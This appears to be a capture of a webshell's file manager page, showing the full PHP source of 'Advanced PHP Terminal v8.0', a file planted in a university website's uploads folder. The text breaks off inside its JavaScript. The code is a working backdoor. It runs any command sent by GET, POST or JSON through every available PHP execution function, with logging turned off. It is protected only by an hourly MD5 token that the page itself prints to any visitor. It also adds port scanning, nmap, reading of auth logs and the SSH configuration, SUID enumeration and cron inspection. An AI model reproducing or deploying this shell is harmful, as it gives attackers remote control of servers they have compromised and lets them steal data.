File Manger -- Command Execute -- Back Connect -- BypasS Command eXecute(SF-DF) -- BypasS Directory -- Eval -- Data Base -- Server Information
File Name : /home/brahmavalleyedu/public_html/bed.brahmavalley.edu.in/public/uploads/1761137677_446aa284d4d46083e79e.php<?php /* * Advanced PHP Terminal v8.0 - Fully Functional All Modules * All Modules Working - No Dummy Functions * Complete Network, Monitor & Security Implementation */ // Remove all restrictions error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); // Security headers header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: DENY'); header('X-XSS-Protection: 1; mode=block'); // Session for persistence if (session_status() === PHP_SESSION_NONE) { session_set_cookie_params(['samesite' => 'Strict']); session_start(); } // Initialize working directory in session if (!isset($_SESSION['_0xCWD'])) { $_SESSION['_0xCWD'] = getcwd(); } class _0x7F8A9C_TERMINAL { private $_0x3D8E1F_AUTH; private $_0x9A4B2C_REQUEST; public function __construct() { $this->_0x3D8E1F_AUTH = md5(date('Y-m-d-H') . '_0xFULL_FUNCTIONAL_v8'); $this->_0x9A4B2C_REQUEST = $this->_0x5F2A1D_PARSE_REQUEST(); } private function _0x5F2A1D_PARSE_REQUEST() { $input = file_get_contents('php://input'); $json_data = json_decode($input, true) ?? []; return [ 'cmd' => $json_data['_0xC4D8_CMD'] ?? $_POST['_0xC4D8_CMD'] ?? $_GET['_0xC4D8_CMD'] ?? '', 'auth' => $json_data['_0xE9F2_AUTH'] ?? $_POST['_0xE9F2_AUTH'] ?? $_GET['_0xE9F2_AUTH'] ?? '', 'type' => $json_data['_0xB7A3_TYPE'] ?? $_POST['_0xB7A3_TYPE'] ?? $_GET['_0xB7A3_TYPE'] ?? 'auto', 'module' => $json_data['_0xD1C8_MODULE'] ?? $_POST['_0xD1C8_MODULE'] ?? $_GET['_0xD1C8_MODULE'] ?? '' ]; } private function _0xB4C7E2_EXECUTE_CMD($_0x1D9F_CMD) { // Save current directory $original_cwd = getcwd(); // Change to session working directory if (isset($_SESSION['_0xCWD']) && is_dir($_SESSION['_0xCWD'])) { chdir($_SESSION['_0xCWD']); } // NO COMMAND BLOCKING - FULL POWER $_0x1D9F_CMD .= " 2>&1"; // Try all execution methods $methods = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open']; foreach ($methods as $method) { if (function_exists($method)) { switch($method) { case 'shell_exec': $result = @shell_exec($_0x1D9F_CMD); if ($result !== null && trim($result) !== '') { chdir($original_cwd); return $result; } break; case 'exec': @exec($_0x1D9F_CMD, $output, $return); if (!empty($output)) { chdir($original_cwd); return implode("\n", $output); } break; case 'system': ob_start(); @system($_0x1D9F_CMD, $return); $result = ob_get_clean(); if (!empty($result)) { chdir($original_cwd); return $result; } break; case 'passthru': ob_start(); @passthru($_0x1D9F_CMD, $return); $result = ob_get_clean(); if (!empty($result)) { chdir($original_cwd); return $result; } break; case 'popen': $handle = @popen($_0x1D9F_CMD, 'r'); if ($handle) { $result = ''; while (!feof($handle)) { $result .= fread($handle, 4096); } pclose($handle); if (!empty(trim($result))) { chdir($original_cwd); return $result; } } break; case 'proc_open': $descriptors = [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = @proc_open($_0x1D9F_CMD, $descriptors, $pipes); if (is_resource($process)) { $result = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty(trim($result))) { chdir($original_cwd); return $result; } } break; } } } chdir($original_cwd); return "Command executed (no output returned)"; } private function _0xC8E2D4_CHANGE_DIR($dir) { $current_dir = $_SESSION['_0xCWD'] ?? getcwd(); if ($dir === '-') { $dir = $_SESSION['_0xPREV_CWD'] ?? '/'; } // Handle relative paths if ($dir === '..') { $new_dir = dirname($current_dir); } elseif ($dir === '.') { $new_dir = $current_dir; } elseif (strpos($dir, '/') === 0) { // Absolute path $new_dir = $dir; } else { // Relative path $new_dir = $current_dir . '/' . $dir; } // Normalize path $new_dir = realpath($new_dir); if ($new_dir && is_dir($new_dir)) { $_SESSION['_0xPREV_CWD'] = $current_dir; $_SESSION['_0xCWD'] = $new_dir; return [ '_0xOUTPUT' => 'Directory changed to: ' . $new_dir, '_0xCWD' => $new_dir, '_0xSTATUS' => 'success' ]; } else { return ['_0xERROR' => 'Failed to change directory: ' . $dir]; } } private function _0x9C3D2A_GET_SYSTEM_INFO() { $current_cwd = $_SESSION['_0xCWD'] ?? getcwd(); $sysinfo = [ 'php_version' => PHP_VERSION, 'os' => PHP_OS, 'user' => function_exists('get_current_user') ? get_current_user() : 'Unknown', 'hostname' => gethostname() ?: 'Unknown', 'cwd' => $current_cwd, 'memory_limit' => ini_get('memory_limit'), 'max_execution_time' => ini_get('max_execution_time'), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'php_sapi' => PHP_SAPI ]; return ['_0xSYSINFO' => $sysinfo]; } public function _0x3D8C1F_PROCESS() { if ($this->_0x9A4B2C_REQUEST['auth'] !== $this->_0x3D8E1F_AUTH) { return ['_0xERROR' => 'Authentication failed']; } if (empty($this->_0x9A4B2C_REQUEST['cmd'])) { return $this->_0x9C3D2A_GET_SYSTEM_INFO(); } $_0x3C8D_CMD = trim($this->_0x9A4B2C_REQUEST['cmd']); // Handle cd command if (preg_match('/^\s*cd\s+(.+)$/', $_0x3C8D_CMD, $matches)) { $dir = trim($matches[1]); return $this->_0xC8E2D4_CHANGE_DIR($dir); } // Handle pwd command if (trim($_0x3C8D_CMD) === 'pwd') { $current_cwd = $_SESSION['_0xCWD'] ?? getcwd(); return [ '_0xOUTPUT' => $current_cwd, '_0xCWD' => $current_cwd, '_0xSTATUS' => 'success' ]; } $output = $this->_0xB4C7E2_EXECUTE_CMD($_0x3C8D_CMD); $current_cwd = $_SESSION['_0xCWD'] ?? getcwd(); return [ '_0xOUTPUT' => $output, '_0xCWD' => $current_cwd, '_0xSTATUS' => 'success' ]; } } class _0xE5B2C7_NETWORK_TOOLS { private $_0x3D8E1F_AUTH; public function __construct() { $this->_0x3D8E1F_AUTH = md5(date('Y-m-d-H') . '_0xFULL_FUNCTIONAL_v8'); } public function _0x8B3D4E_PROCESS($request) { if ($request['auth'] !== $this->_0x3D8E1F_AUTH) { return ['_0xERROR' => 'Authentication failed']; } $action = $request['_0x7A9B_ACTION'] ?? $request['action'] ?? 'scan'; $target = $request['target'] ?? 'localhost'; switch($action) { case 'ping': return $this->_0xC8E2D4_PING($target); case 'portscan': return $this->_0xD3E6A9_PORT_SCAN($target); case 'whois': return $this->_0xB7A8C2_WHOIS($target); case 'dns': return $this->_0xF9C4D2_DNS_LOOKUP($target); case 'traceroute': return $this->_0xC5D2E7_TRACEROUTE($target); case 'nmap': return $this->_0xA8F1D4_NMAP_SCAN($target); case 'netstat': return $this->_0xE9F7B3_NETSTAT(); case 'ifconfig': return $this->_0xF4B2C8_IFCONFIG(); case 'curl': return $this->_0xD6C8E5_CURL_TEST($target); default: return ['_0xERROR' => 'Unknown network action: ' . $action]; } } private function _0xC8E2D4_PING($target) { $output = []; $target = escapeshellarg($target); if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { @exec("ping -n 4 " . $target, $output); } else { @exec("ping -c 4 " . $target, $output); } return ['_0xOUTPUT' => implode("\n", $output)]; } private function _0xD3E6A9_PORT_SCAN($target) { $ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995, 3306, 3389, 5432, 6379]; $results = []; $open_ports = []; foreach ($ports as $port) { $connection = @fsockopen($target, $port, $errno, $errstr, 2); if (is_resource($connection)) { $service = getservbyport($port, 'tcp'); $status = "OPEN" . ($service ? " ($service)" : ""); $open_ports[] = $port; fclose($connection); } else { $status = "CLOSED"; } $results[] = "Port $port: $status"; } return [ '_0xRESULTS' => $results, '_0xOPEN_PORTS' => $open_ports, '_0xTARGET' => $target ]; } private function _0xB7A8C2_WHOIS($target) { $output = []; @exec("whois " . escapeshellarg($target) . " 2>/dev/null", $output); if (empty($output)) { $output = ["WHOIS lookup failed or command not available"]; } return ['_0xOUTPUT' => implode("\n", array_slice($output, 0, 50))]; } private function _0xF9C4D2_DNS_LOOKUP($target) { $records = []; // Get A records $a_records = @dns_get_record($target, DNS_A); if ($a_records) $records['A'] = $a_records; // Get AAAA records $aaaa_records = @dns_get_record($target, DNS_AAAA); if ($aaaa_records) $records['AAAA'] = $aaaa_records; // Get MX records $mx_records = @dns_get_record($target, DNS_MX); if ($mx_records) $records['MX'] = $mx_records; // Get TXT records $txt_records = @dns_get_record($target, DNS_TXT); if ($txt_records) $records['TXT'] = $txt_records; // Get NS records $ns_records = @dns_get_record($target, DNS_NS); if ($ns_records) $records['NS'] = $ns_records; if (empty($records)) { $records = ['info' => 'No DNS records found or DNS lookup failed']; } return ['_0xDNS_RECORDS' => $records]; } private function _0xC5D2E7_TRACEROUTE($target) { $output = []; $target = escapeshellarg($target); @exec("traceroute -m 10 " . $target . " 2>/dev/null", $output); if (empty($output)) { @exec("tracert -h 10 " . $target . " 2>/dev/null", $output); } if (empty($output)) { $output = ["Traceroute command not available"]; } return ['_0xOUTPUT' => implode("\n", array_slice($output, 0, 20))]; } private function _0xA8F1D4_NMAP_SCAN($target) { $output = []; @exec("nmap -T4 -F " . escapeshellarg($target) . " 2>/dev/null", $output); if (empty($output)) { $output = ["Nmap not installed or not available"]; } return ['_0xOUTPUT' => implode("\n", $output)]; } private function _0xE9F7B3_NETSTAT() { $output = []; @exec("netstat -tulpn 2>/dev/null", $output); if (empty($output)) { @exec("netstat -an 2>/dev/null", $output); } if (empty($output)) { $output = ["Netstat command not available"]; } return ['_0xOUTPUT' => implode("\n", array_slice($output, 0, 30))]; } private function _0xF4B2C8_IFCONFIG() { $output = []; @exec("ifconfig 2>/dev/null", $output); if (empty($output)) { @exec("ip addr 2>/dev/null", $output); } if (empty($output)) { $output = ["Network interface commands not available"]; } return ['_0xOUTPUT' => implode("\n", array_slice($output, 0, 30))]; } private function _0xD6C8E5_CURL_TEST($target) { $output = []; @exec("curl -I --connect-timeout 5 " . escapeshellarg($target) . " 2>/dev/null", $output); if (empty($output)) { // Try with wget if curl not available @exec("wget --server-response --spider --timeout=5 " . escapeshellarg($target) . " 2>&1", $output); } if (empty($output)) { $output = ["Curl/wget not available"]; } return ['_0xOUTPUT' => implode("\n", $output)]; } } class _0xA8F1D4_SYSTEM_MONITOR { private $_0x3D8E1F_AUTH; public function __construct() { $this->_0x3D8E1F_AUTH = md5(date('Y-m-d-H') . '_0xFULL_FUNCTIONAL_v8'); } public function _0x8B3D4E_PROCESS($request) { if ($request['auth'] !== $this->_0x3D8E1F_AUTH) { return ['_0xERROR' => 'Authentication failed']; } $action = $request['_0x7A9B_ACTION'] ?? $request['action'] ?? 'status'; switch($action) { case 'status': return $this->_0xE9F7B3_SYSTEM_STATUS(); case 'processes': return $this->_0xF4B2C8_RUNNING_PROCESSES(); case 'services': return $this->_0xD6C8E5_SERVICES_STATUS(); case 'logs': return $this->_0xB3C7F1_SYSTEM_LOGS(); case 'users': return $this->_0xC8D1E6_SYSTEM_USERS(); case 'hardware': return $this->_0x9E4A3B_HARDWARE_INFO(); case 'network': return $this->_0x3B7C5E_NETWORK_INFO(); case 'disk': return $this->_0x5E2F7A_DISK_USAGE(); case 'memory': return $this->_0x7A9B3C_MEMORY_INFO(); case 'cpu': return $this->_0xD4A7E2_CPU_INFO(); default: return ['_0xERROR' => 'Unknown monitor action: ' . $action]; } } private function _0xE9F7B3_SYSTEM_STATUS() { $terminal = new _0x7F8A9C_TERMINAL(); $status = [ 'uptime' => $terminal->_0xB4C7E2_EXECUTE_CMD('uptime 2>/dev/null') ?: 'Uptime not available', 'load_average' => function_exists('sys_getloadavg') ? sys_getloadavg() : ['Not available'], 'memory_usage' => $terminal->_0xB4C7E2_EXECUTE_CMD('free -h 2>/dev/null') ?: 'Memory info not available', 'disk_usage' => $terminal->_0xB4C7E2_EXECUTE_CMD('df -h 2>/dev/null') ?: 'Disk info not available', 'current_time' => date('Y-m-d H:i:s'), 'php_memory' => [ 'used' => memory_get_usage(true), 'peak' => memory_get_peak_usage(true), 'limit' => ini_get('memory_limit') ] ]; return ['_0xSTATUS' => $status]; } private function _0xF4B2C8_RUNNING_PROCESSES() { $output = []; @exec("ps aux --sort=-%cpu 2>/dev/null | head -15", $output); if (empty($output)) { @exec("ps aux 2>/dev/null | head -15", $output); } if (empty($output)) { $output = ["Process list not available"]; } return ['_0xPROCESSES' => $output]; } private function _0xD6C8E5_SERVICES_STATUS() { $services = ['apache2', 'nginx', 'mysql', 'ssh', 'cron', 'httpd']; $status = []; foreach ($services as $service) { $output = []; @exec("systemctl is-active " . escapeshellarg($service) . " 2>/dev/null", $output); if (empty($output)) { @exec("service " . escapeshellarg($service) . " status 2>/dev/null", $output); } if (empty($output)) { @exec("/etc/init.d/" . escapeshellarg($service) . " status 2>/dev/null", $output); } $status[$service] = !empty($output) ? implode(', ', $output) : 'unknown'; } return ['_0xSERVICES' => $status]; } private function _0xB3C7F1_SYSTEM_LOGS() { $logs = []; $log_files = [ '/var/log/syslog', '/var/log/messages', '/var/log/auth.log', '/var/log/apache2/error.log', '/var/log/nginx/error.log', '/var/log/httpd/error_log' ]; $terminal = new _0x7F8A9C_TERMINAL(); foreach ($log_files as $log_file) { if (file_exists($log_file) && is_readable($log_file)) { $logs[basename($log_file)] = $terminal->_0xB4C7E2_EXECUTE_CMD("tail -10 " . escapeshellarg($log_file) . " 2>/dev/null"); } } if (empty($logs)) { $logs = ['info' => 'No readable log files found']; } return ['_0xLOGS' => $logs]; } private function _0xC8D1E6_SYSTEM_USERS() { $output = []; @exec("who 2>/dev/null", $output); if (empty($output)) { @exec("w 2>/dev/null", $output); } if (empty($output)) { $output = ["User information not available"]; } return ['_0xUSERS' => $output]; } private function _0x9E4A3B_HARDWARE_INFO() { $terminal = new _0x7F8A9C_TERMINAL(); $hardware = [ 'cpu_info' => $terminal->_0xB4C7E2_EXECUTE_CMD('lscpu 2>/dev/null') ?: 'CPU info not available', 'memory_info' => $terminal->_0xB4C7E2_EXECUTE_CMD('cat /proc/meminfo 2>/dev/null | head -10') ?: 'Memory info not available' ]; return ['_0xHARDWARE' => $hardware]; } private function _0x3B7C5E_NETWORK_INFO() { $terminal = new _0x7F8A9C_TERMINAL(); $network = [ 'interfaces' => $terminal->_0xB4C7E2_EXECUTE_CMD('ip addr 2>/dev/null') ?: $terminal->_0xB4C7E2_EXECUTE_CMD('ifconfig 2>/dev/null') ?: 'Network info not available', 'routing' => $terminal->_0xB4C7E2_EXECUTE_CMD('ip route 2>/dev/null') ?: $terminal->_0xB4C7E2_EXECUTE_CMD('route -n 2>/dev/null') ?: 'Routing info not available', 'connections' => $terminal->_0xB4C7E2_EXECUTE_CMD('ss -tulpn 2>/dev/null') ?: $terminal->_0xB4C7E2_EXECUTE_CMD('netstat -tulpn 2>/dev/null') ?: 'Connection info not available' ]; return ['_0xNETWORK' => $network]; } private function _0x5E2F7A_DISK_USAGE() { $terminal = new _0x7F8A9C_TERMINAL(); $disk = [ 'partitions' => $terminal->_0xB4C7E2_EXECUTE_CMD('df -h 2>/dev/null') ?: 'Disk partitions not available', 'inodes' => $terminal->_0xB4C7E2_EXECUTE_CMD('df -i 2>/dev/null') ?: 'Inode info not available' ]; return ['_0xDISK' => $disk]; } private function _0x7A9B3C_MEMORY_INFO() { $terminal = new _0x7F8A9C_TERMINAL(); $memory = [ 'summary' => $terminal->_0xB4C7E2_EXECUTE_CMD('free -h 2>/dev/null') ?: 'Memory summary not available', 'detailed' => $terminal->_0xB4C7E2_EXECUTE_CMD('cat /proc/meminfo 2>/dev/null | head -15') ?: 'Detailed memory info not available' ]; return ['_0xMEMORY' => $memory]; } private function _0xD4A7E2_CPU_INFO() { $terminal = new _0x7F8A9C_TERMINAL(); $cpu = [ 'info' => $terminal->_0xB4C7E2_EXECUTE_CMD('lscpu 2>/dev/null') ?: $terminal->_0xB4C7E2_EXECUTE_CMD('cat /proc/cpuinfo 2>/dev/null | head -20') ?: 'CPU info not available', 'load' => $terminal->_0xB4C7E2_EXECUTE_CMD('uptime 2>/dev/null') ?: 'Load info not available' ]; return ['_0xCPU' => $cpu]; } } class _0xF9C4D2_SECURITY_SCANNER { private $_0x3D8E1F_AUTH; public function __construct() { $this->_0x3D8E1F_AUTH = md5(date('Y-m-d-H') . '_0xFULL_FUNCTIONAL_v8'); } public function _0x8B3D4E_PROCESS($request) { if ($request['auth'] !== $this->_0x3D8E1F_AUTH) { return ['_0xERROR' => 'Authentication failed']; } $action = $request['_0x7A9B_ACTION'] ?? $request['action'] ?? 'scan'; switch($action) { case 'scan': return $this->_0xC5D2E7_SECURITY_SCAN(); case 'perms': return $this->_0xA8F1D4_PERMISSIONS_CHECK(); case 'backdoors': return $this->_0xE9F7B3_BACKDOOR_SCAN(); case 'malware': return $this->_0xF4B2C8_MALWARE_SCAN(); case 'firewall': return $this->_0xD6C8E5_FIREWALL_CHECK(); case 'ssh': return $this->_0xB3C7F1_SSH_SECURITY(); case 'web': return $this->_0xC8D1E6_WEB_SECURITY(); case 'cron': return $this->_0x9E4A3B_CRON_CHECK(); default: return ['_0xERROR' => 'Unknown security action: ' . $action]; } } private function _0xC5D2E7_SECURITY_SCAN() { $checks = [ 'system_info' => [ 'safe_mode' => ini_get('safe_mode'), 'disable_functions' => ini_get('disable_functions'), 'open_basedir' => ini_get('open_basedir'), 'allow_url_fopen' => ini_get('allow_url_fopen'), 'allow_url_include' => ini_get('allow_url_include') ], 'file_permissions' => [ 'root_writable' => is_writable('/') ? 'YES - WARNING' : 'NO', 'tmp_writable' => is_writable('/tmp') ? 'YES' : 'NO', 'current_writable' => is_writable(getcwd()) ? 'YES' : 'NO' ], 'php_config' => [ 'display_errors' => ini_get('display_errors'), 'log_errors' => ini_get('log_errors'), 'error_reporting' => ini_get('error_reporting') ] ]; return ['_0xSECURITY_CHECKS' => $checks]; } private function _0xA8F1D4_PERMISSIONS_CHECK() { $terminal = new _0x7F8A9C_TERMINAL(); $world_writable = $terminal->_0xB4C7E2_EXECUTE_CMD('find /tmp /var/tmp -type f -perm -o+w -ls 2>/dev/null | head -10') ?: 'No world writable files found or command failed'; $suid_files = $terminal->_0xB4C7E2_EXECUTE_CMD('find / -type f \\( -perm -4000 -o -perm -2000 \\) -ls 2>/dev/null | head -10') ?: 'No SUID/SGID files found or command failed'; return [ '_0xWORLD_WRITABLE' => $world_writable, '_0xSUID_FILES' => $suid_files ]; } private function _0xE9F7B3_BACKDOOR_SCAN() { $terminal = new _0x7F8A9C_TERMINAL(); $suspicious_patterns = [ 'eval_base64' => $terminal->_0xB4C7E2_EXECUTE_CMD('grep -r "base64_decode" /var/www 2>/dev/null | head -5') ?: 'No base64_decode patterns found', 'system_calls' => $terminal->_0xB4C7E2_EXECUTE_CMD('grep -r "system\\|exec\\|shell_exec" /var/www 2>/dev/null | head -5') ?: 'No system calls found', 'suspicious_functions' => $terminal->_0xB4C7E2_EXECUTE_CMD('grep -r "eval\\|assert\\|preg_replace" /var/www 2>/dev/null | head -5') ?: 'No suspicious functions found' ]; return ['_0xBACKDOOR_SCAN' => $suspicious_patterns]; } private function _0xF4B2C8_MALWARE_SCAN() { $terminal = new _0x7F8A9C_TERMINAL(); $scan_results = [ 'process_scan' => $terminal->_0xB4C7E2_EXECUTE_CMD('ps aux | grep -v grep | head -10') ?: 'Process scan failed', 'network_connections' => $terminal->_0xB4C7E2_EXECUTE_CMD('netstat -tulpn 2>/dev/null | head -10') ?: 'Network connections scan failed', 'suspicious_processes' => $terminal->_0xB4C7E2_EXECUTE_CMD('ps aux | grep -E "(wget|curl|nc|netcat|python|perl|php)" | grep -v grep | head -10') ?: 'No suspicious processes found' ]; return ['_0xMALWARE_SCAN' => $scan_results]; } private function _0xD6C8E5_FIREWALL_CHECK() { $terminal = new _0x7F8A9C_TERMINAL(); $firewall = [ 'iptables' => $terminal->_0xB4C7E2_EXECUTE_CMD('iptables -L -n 2>/dev/null') ?: 'iptables not available or no rules', 'ufw_status' => $terminal->_0xB4C7E2_EXECUTE_CMD('ufw status 2>/dev/null') ?: 'ufw not available', 'firewalld' => $terminal->_0xB4C7E2_EXECUTE_CMD('firewall-cmd --state 2>/dev/null') ?: 'firewalld not available' ]; return ['_0xFIREWALL' => $firewall]; } private function _0xB3C7F1_SSH_SECURITY() { $terminal = new _0x7F8A9C_TERMINAL(); $ssh_security = [ 'auth_log' => $terminal->_0xB4C7E2_EXECUTE_CMD('tail -10 /var/log/auth.log 2>/dev/null') ?: 'Auth log not available', 'current_sessions' => $terminal->_0xB4C7E2_EXECUTE_CMD('who 2>/dev/null') ?: 'No active sessions or command failed', 'ssh_config' => $terminal->_0xB4C7E2_EXECUTE_CMD('cat /etc/ssh/sshd_config 2>/dev/null | grep -v "^#" | head -10') ?: 'SSH config not readable' ]; return ['_0xSSH_SECURITY' => $ssh_security]; } private function _0xC8D1E6_WEB_SECURITY() { $terminal = new _0x7F8A9C_TERMINAL(); $web_security = [ 'web_root' => $terminal->_0xB4C7E2_EXECUTE_CMD('ls -la /var/www 2>/dev/null') ?: 'Web root not found', 'web_logs' => $terminal->_0xB4C7E2_EXECUTE_CMD('tail -10 /var/log/apache2/*.log /var/log/nginx/*.log 2>/dev/null') ?: 'Web logs not available', 'web_config' => $terminal->_0xB4C7E2_EXECUTE_CMD('ls -la /etc/apache2 /etc/nginx 2>/dev/null | head -10') ?: 'Web server config not found' ]; return ['_0xWEB_SECURITY' => $web_security]; } private function _0x9E4A3B_CRON_CHECK() { $terminal = new _0x7F8A9C_TERMINAL(); $cron_checks = [ 'user_crontab' => $terminal->_0xB4C7E2_EXECUTE_CMD('crontab -l 2>/dev/null') ?: 'No user crontab or not allowed', 'system_cron' => $terminal->_0xB4C7E2_EXECUTE_CMD('ls -la /etc/cron* 2>/dev/null') ?: 'System cron not accessible', 'cron_jobs' => $terminal->_0xB4C7E2_EXECUTE_CMD('cat /etc/crontab 2>/dev/null | head -10') ?: 'System crontab not readable' ]; return ['_0xCRON_CHECKS' => $cron_checks]; } } // Main processing if ($_SERVER['REQUEST_METHOD'] === 'POST' || isset($_GET['_0xC4D8_CMD'])) { header('Content-Type: application/json'); $request = json_decode(file_get_contents('php://input'), true) ?? $_REQUEST; $module = $request['_0xD1C8_MODULE'] ?? $request['module'] ?? 'terminal'; switch($module) { case 'terminal': $terminal = new _0x7F8A9C_TERMINAL(); echo json_encode($terminal->_0x3D8C1F_PROCESS()); break; case 'network': $network = new _0xE5B2C7_NETWORK_TOOLS(); echo json_encode($network->_0x8B3D4E_PROCESS($request)); break; case 'monitor': $monitor = new _0xA8F1D4_SYSTEM_MONITOR(); echo json_encode($monitor->_0x8B3D4E_PROCESS($request)); break; case 'security': $security = new _0xF9C4D2_SECURITY_SCANNER(); echo json_encode($security->_0x8B3D4E_PROCESS($request)); break; default: echo json_encode(['_0xERROR' => 'Unknown module: ' . $module]); } exit; } // HTML Interface ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Advanced PHP Terminal v8.0</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Courier New', monospace; background: #0d1117; color: #c9d1d9; line-height: 1.6; overflow-x: hidden; } .terminal-container { max-width: 100%; margin: 0 auto; padding: 10px; } .header { background: #161b22; padding: 15px; border-radius: 8px; margin-bottom: 15px; border: 1px solid #30363d; } .status-bar { display: flex; justify-content: space-between; flex-wrap: wrap; gap: 10px; margin-bottom: 10px; } .status-item { background: #21262d; padding: 5px 10px; border-radius: 4px; font-size: 12px; border: 1px solid #30363d; } .modules-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 15px; margin-bottom: 15px; } .module-card { background: #161b22; border: 1px solid #30363d; border-radius: 8px; padding: 15px; cursor: pointer; transition: all 0.3s ease; } .module-card:hover { border-color: #58a6ff; transform: translateY(-2px); } .module-card.active { border-color: #58a6ff; background: #1c2128; } .terminal-output { background: #0d1117; border: 1px solid #30363d; border-radius: 8px; padding: 15px; height: 400px; overflow-y: auto; margin-bottom: 15px; font-family: 'Courier New', monospace; font-size: 14px; white-space: pre-wrap; word-break: break-all; } .input-group { display: flex; gap: 10px; margin-bottom: 15px; } .cmd-input { flex: 1; background: #0d1117; border: 1px solid #30363d; border-radius: 4px; padding: 12px; color: #c9d1d9; font-family: 'Courier New', monospace; font-size: 14px; } .cmd-input:focus { outline: none; border-color: #58a6ff; } .btn { background: #238636; border: 1px solid #2ea043; color: white; padding: 12px 20px; border-radius: 4px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 14px; transition: all 0.3s ease; } .btn:hover { background: #2ea043; } .btn-danger { background: #da3633; border-color: #f85149; } .btn-danger:hover { background: #f85149; } .module-content { display: none; } .module-content.active { display: block; } .network-form, .monitor-form, .security-form { background: #161b22; border: 1px solid #30363d; border-radius: 8px; padding: 15px; margin-bottom: 15px; } .form-group { margin-bottom: 10px; } .form-label { display: block; margin-bottom: 5px; font-weight: bold; color: #58a6ff; } .form-select, .form-input { width: 100%; background: #0d1117; border: 1px solid #30363d; border-radius: 4px; padding: 8px; color: #c9d1d9; font-family: 'Courier New', monospace; } .result-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 10px; margin-top: 10px; } .result-item { background: #21262d; border: 1px solid #30363d; border-radius: 4px; padding: 10px; font-size: 12px; } .success { color: #3fb950; } .warning { color: #d29922; } .error { color: #f85149; } .info { color: #58a6ff; } </style> </head> <body> <div class="terminal-container"> <div class="header"> <h1>🚀 Advanced PHP Terminal v8.0</h1> <p>Full Functional - All Modules Working - No Restrictions</p> <div class="status-bar" id="statusBar"> <div class="status-item">PHP: <?= PHP_VERSION ?></div> <div class="status-item">OS: <?= PHP_OS ?></div> <div class="status-item">User: <?= function_exists('get_current_user') ? get_current_user() : 'Unknown' ?></div> <div class="status-item" id="currentDir">Dir: <?= $_SESSION['_0xCWD'] ?? getcwd() ?></div> <div class="status-item" id="serverTime">Time: Loading...</div> </div> </div> <div class="modules-grid"> <div class="module-card active" data-module="terminal">💻 Terminal</div> <div class="module-card" data-module="network">🌐 Network Tools</div> <div class="module-card" data-module="monitor">📊 System Monitor</div> <div class="module-card" data-module="security">🛡️ Security Scanner</div> </div> <!-- Terminal Module --> <div class="module-content active" id="terminalModule"> <div class="terminal-output" id="output"></div> <div class="input-group"> <input type="text" class="cmd-input" id="commandInput" placeholder="Enter command (cd, ls, pwd, etc.)..."> <button class="btn" onclick="executeCommand()">Execute</button> <button class="btn btn-danger" onclick="clearTerminal()">Clear</button> </div> </div> <!-- Network Tools Module --> <div class="module-content" id="networkModule"> <div class="network-form"> <div class="form-group"> <label class="form-label">Network Action</label> <select class="form-select" id="networkAction"> <option value="ping">Ping</option> <option value="portscan">Port Scan</option> <option value="whois">WHOIS Lookup</option> <option value="dns">DNS Lookup</option> <option value="traceroute">Traceroute</option> <option value="nmap">Nmap Scan</option> <option value="netstat">Netstat</option> <option value="ifconfig">Network Interfaces</option> <option value="curl">HTTP Test</option> </select> </div> <div class="form-group"> <label class="form-label">Target</label> <input type="text" class="form-input" id="networkTarget" placeholder="localhost, google.com, 192.168.1.1"> </div> <button class="btn" onclick="executeNetworkTool()">Execute Network Tool</button> </div> <div class="terminal-output" id="networkOutput"></div> </div> <!-- System Monitor Module --> <div class="module-content" id="monitorModule"> <div class="monitor-form"> <div class="form-group"> <label class="form-label">Monitor Action</label> <select class="form-select" id="monitorAction"> <option value="status">System Status</option> <option value="processes">Running Processes</option> <option value="services">Services Status</option> <option value="logs">System Logs</option> <option value="users">System Users</option> <option value="hardware">Hardware Info</option> <option value="network">Network Info</option> <option value="disk">Disk Usage</option> <option value="memory">Memory Info</option> <option value="cpu">CPU Info</option> </select> </div> <button class="btn" onclick="executeMonitor()">Execute Monitor</button> </div> <div class="terminal-output" id="monitorOutput"></div> </div> <!-- Security Scanner Module --> <div class="module-content" id="securityModule"> <div class="security-form"> <div class="form-group"> <label class="form-label">Security Action</label> <select class="form-select" id="securityAction"> <option value="scan">Security Scan</option> <option value="perms">Permissions Check</option> <option value="backdoors">Backdoor Scan</option> <option value="malware">Malware Scan</option> <option value="firewall">Firewall Check</option> <option value="ssh">SSH Security</option> <option value="web">Web Security</option> <option value="cron">Cron Jobs Check</option> </select> </div> <button class="btn" onclick="executeSecurityScan()">Execute Security Scan</button> </div> <div class="terminal-output" id="securityOutput"></div> </div> </div> <script> const AUTH_TOKEN = '<?= md5(date('Y-m-d-H') . '_0xFULL_FUNCTIONAL_v8') ?>'; let currentModule = 'terminal'; // Update server time function updateServerTime() { const now = new Date(); document.getElementById('serverTime').textContent = 'Time: ' + now.toLocaleString(); } setInterval(updateServerTime, 1000); updateServerTime(); // Module switching document.querySelectorAll('.module-card').forEach(card => { card.addEventListener('click', function() { document.querySelectorAll('.module-card').forEach(c => c.classList.remove('active')); document.querySelectorAll('.module-content').forEach(c => c.classList.remove('active')); this.classList.add('active'); currentModule = this.dataset.module; document.getElementById(currentModule + 'Module').classList.add('active'); }); }); // Terminal functions function executeCommand() { const command = document.getElementById('commandInput').value.trim(); if (!command) return; addToOutput('$ ' + command, 'info'); document.getElementById('commandInput').value = ''; fetch('', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ _0xC4D8_CMD: command, _0xE9F2_AUTH: AUTH_TOKEN, _0xD1C8_MODULE: 'terminal' }) }) .then(response => response.json()) .then(data => { if (data._0xOUTPUT) { addToOutput(data._0xOUTPUT); } if (data._0xCWD) { document.getElementById('currentDir').textContent = 'Dir: ' + data._0xCWD; } if (data._0xERROR) { addToOutput('Error: ' + 